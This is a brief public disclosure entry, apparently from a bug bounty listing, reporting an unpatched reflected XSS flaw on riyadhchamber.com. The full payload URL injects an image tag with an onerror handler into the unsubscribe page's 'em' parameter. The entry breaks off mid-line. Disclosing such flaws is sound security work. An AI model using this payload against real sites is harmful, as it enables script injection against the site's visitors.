riyadhchamber.com XSS vulnerability

Vulnerable URL: http://www.riyadhchamber.com/unsubscribe.php?em=%22%3E%3Cimg%20src=%22x%22%20onerror=alert%28/openbugbounty/%29%3E.png Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank...